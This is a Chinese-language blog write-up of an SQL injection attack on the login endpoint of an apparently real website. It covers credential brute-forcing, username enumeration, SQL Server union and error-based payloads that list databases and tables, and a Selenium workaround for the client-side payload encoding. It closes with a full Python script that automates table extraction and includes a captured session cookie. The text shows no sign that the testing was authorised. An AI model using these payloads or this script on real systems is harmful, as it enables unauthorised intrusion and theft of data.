記一次SQL Server報錯注入

  • 2019 年 10 月 8 日
  • 筆記

0x00 驗證碼前端驗證

需要測試一個網站,剛開始看到網站時感覺希望不大,因為驗證碼是需要拖動的,這也就意味着很大可能沒辦法爆破,另一方面是都用這種驗證碼了,安全做的能很差勁嗎?果然,試了admin、123456之類的都不行

那就抓個包吧

emmmmmm。32位,md5加密?這裡看着沒有驗證碼之類的信息,把這個包發了幾次發現沒有出現驗證碼信息,而且試了試,發現有兩種狀態(運氣比較好,有admin這個用戶,我也是試的這個用戶,一下子就看出返回不同了),如下:

用戶不存在時返回 {"iserror":true,"message":"用戶名不存在!","data":null,"errorfieldlist":null}

用戶名存在時返回 {"iserror":true,"message":"密碼不正確!","data":null,"errorfieldlist":null}

可以的,驗證碼前端驗證,我覺得可以burp抓包intruder一下

跑了top 500的用戶名和top 1000的密碼,除了直接試的用戶名admin,其他的一個都沒有跑出來 sad

0x01 存在注入

嗯看來爆破是基本沒有希望了,測其他的吧,嗯,這裡是登陸,那肯定要看注入的,無腦加單引號,boom!

可以的,and 1=1 有注入

哎??!!!那不對啊,咋的後台還解密md5後進行查詢??

剛才看了數據包,用戶名密碼都是32位,猜想sql語句是:select password from user where username=name_md5_hash,然後判斷用戶存不存在之類的

看返回信息的話顯然不是啊,哪有後台解密md5後查詢的。。。。。。

試試post其他用戶名和密碼,然後看數據包

顯然並不是md5。。。。這個是前端加密後發送的。。。。。看一下js,結果發現了這

emmmmm,想了想,應該可以注入的,看看啥系統

大概率SQL Server了(因為前幾天在t00ls剛看到了一個ASP.NET+MySQL,比較任性),所以這裡看一下,發現確實是SQL Server

看看數據庫版本,嗯,看來還是報錯注入

可以可以,看看有幾列,然後進行union注入

一列,這裡也能大致猜出來sql語句了,估計就是:select password from user where username='admin'

那就看看數據庫吧,不知道SQL Server中的concat怎麼用,一個個來吧。。。。

得到第一個數據庫的名字:union select name from master.dbo.sysdatabases where dbid=1

得到第二個數據庫的名字:union select name from master.dbo.sysdatabases where dbid=2

得到第5個數據庫的名字:union select name from master.dbo.sysdatabases where dbid=5

好麻煩啊,拖一下驗證碼,然後得到一個數據庫,而且後面還有表呢。。。。。

py一下了吧,前端有js進行加密,可以本地寫文件生成加密後的payload,然後python拿到payload後進行注入

0x02 嘗試寫php得到加密後的payload

把加密的那個js文件SkyEnCode.js保存到本地,然後寫php文件,php的話接收一個未加密的payload然後返回一個加密後的payload,大致代碼:

<!DOCTYPE html>  <head>      <script src=jquery.min.js></script>      <script src=SkyEnCode.js></script>      <title>test</title>  </head>  <body>      <?php          $name = $_GET['name'];          echo "<script>                  var name = '".$name."';                  document.write('>>>'+SkyEnCode.EscKeyCode(name) +'<<<');              </script>";      ?>  </body>  </html>

看了下,返回的結果是一樣的,可以用(實際上並不能。。。)

0x03 通過python獲取js加密後的payload

本來是寫python獲取加密後的payload來着

def encode_payload(payload):      html = requests.get("http://127.0.0.1/tmp.php?name={}".format(payload)).text      m = re.findall(r'>>>(.*?)<<<', html)      return m

但是獲取到的是:[u"'+SkyEnCode.EscKeyCode(name)+'"],因為js沒有執行加載,所以得到的是js未執行時的頁面源碼

記得以前看過一個東西,selenium,可以調用瀏覽器驅動模擬瀏覽器點擊啥的,記得可以執行js,想到就做

首先安裝selenium:sudo pip install selenium –user -U

然後在http://chromedriver.storage.googleapis.com/index.html下載Chrome的驅動,然後放到/opt下

[21:07 reber@wyb in ~]  ➜  ls /opt/chromedriver  /opt/chromedriver  [21:07 reber@wyb in ~]  ➜  /opt/chromedriver --version  ChromeDriver 70.0.3538.97 (d035916fe243477005bc95fe2a5778b8f20b6ae1)

獲取加密後payload的代碼重寫如下(此時已經不需要頁面接收參數了,頁面能引入js我們調用執行就行):

python運行後得到的userName和網頁上的一樣

0x04 得到數據庫的表名

數據庫名的話可以通過union注入改變dbid即可得到,比較簡單,表名的話這裡寫代碼獲取第5個數據庫gansu的表名

不再繼續深入

0x05 詳細代碼

#!/usr/bin/env python  # -*- coding: utf-8 -*-  # code by reber <[email protected]>    import re  import time  import requests  from selenium import webdriver  from selenium.webdriver.chrome.options import Options    url = "http://117.***.***.***/newcc/Common/AccessToken.do"  headers = {      "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0",      "Accept": "application/json, text/javascript, */*; q=0.01",      "Cookie": "currentuser_JSON=eyJpZCI6MSwiZGVsc3RhdHVzIjowLCJkZXB0aWQiOjEsInVuaXRpZCI6MSwiY2hpbmFuYW1lIjoi566h55CG5ZGYIiwibG9naW5uYW1lIjoiYWRtaW4iLCJiaXJ0aCI6bnVsbCwic2V4IjoxLCJwYXNzd29yZCI6ImthdkRhVzRoanMzK3dIeC90czhvdSsxVEYzQT0iLCJtYWlsIjoiYWRtaW5Ac2t5dGVjaC5jb20iLCJpZGNhcmQiOm51bGwsIm1vYmlsZSI6bnVsbCwicGhvbmVkZXB0IjoiMDI1ODg4ODg4ODgiLCJwaG9uZWhvbWUiOiIwMjU4ODg4ODg4OCIsInBlcm1zdHJpbmciOiI3MSw2Niw4OSw0NywxMDcsMTMxLDU4LDc4LDI0NSw5Miw0MSw1NCw1NiwxLDcsMjcsMjgsNjksMzkiLCJwZXJzb25yb2xlcyI6IjgiLCJzb3J0aW5kZXgiOjAsImlzaGFzY2FyZHR5cGUiOjAsImFkZGVyIjoxLCJhZGR0aW1lIjoiMjAwNi8wMi8yMCAxMzoyOToyNiIsIm1vZGVyIjoxLCJtb2R0aW1lIjoiMjAxNy8wOC8xOSAwOToxMDo0MCJ9",  }    def encode_payload(payload):      chrome_options = Options()      chrome_options.add_argument('--headless') #無頭模式,不打開瀏覽器界面      chrome = webdriver.Chrome(executable_path=r"/opt/chromedriver",chrome_options=chrome_options)        try:          chrome.get("http://127.0.0.1/tmp.php")          # chrome.maximize_window() #不設置無頭模式時最大化窗口          # time.sleep(20) #等待請求完頁面          # print chrome.page_source #輸出頁面的html          js = "var en_payload = SkyEnCode.EscKeyCode("{}");return en_payload;".format(payload)          en_payload = chrome.execute_script(js) #調用頁面中加載的js代碼中的加密函數          return en_payload      except Exception as e:          print str(e)      finally:          chrome.close()    def get_tables(database):      payload1 = "admin' and (select top 1 '~~'+name+'~~' from {}.dbo.sysobjects where xtype='U')>1--".format(database)      payload2 = "admin' and (select top 1 '~~'+name+'~~' from {}.dbo.sysobjects where xtype='U' and name not in ({}))>1 --"        #先得到第一張表名      en_payload = encode_payload(payload1)      data = {"userName": en_payload,"userPwd": "823d9ed14f2b86bb15234e4893c3ec54"}      html = requests.post(url=url,data=data,headers=headers).content      c_table = re.search(r'~~(.*?)~~', html).group(1)        #通過for循環得到其他的表名      tables = list()      for x in xrange(5):          tables.append("'"+c_table+"'")          fm = ",".join(str(table) for table in tables)          _payload = payload2.format(database,fm)          print _payload          data = {"userName": encode_payload(_payload),"userPwd": "9ad64932f8832810867a5b9e956206ca"}          html = requests.post(url=url,data=data,headers=headers).content          print html          c_table = re.search(r'~~(.*?)~~', html).group(1)      print tables    get_tables('gansu')

參考來源:reber's blog

作者:reber

如有侵權,請聯繫刪除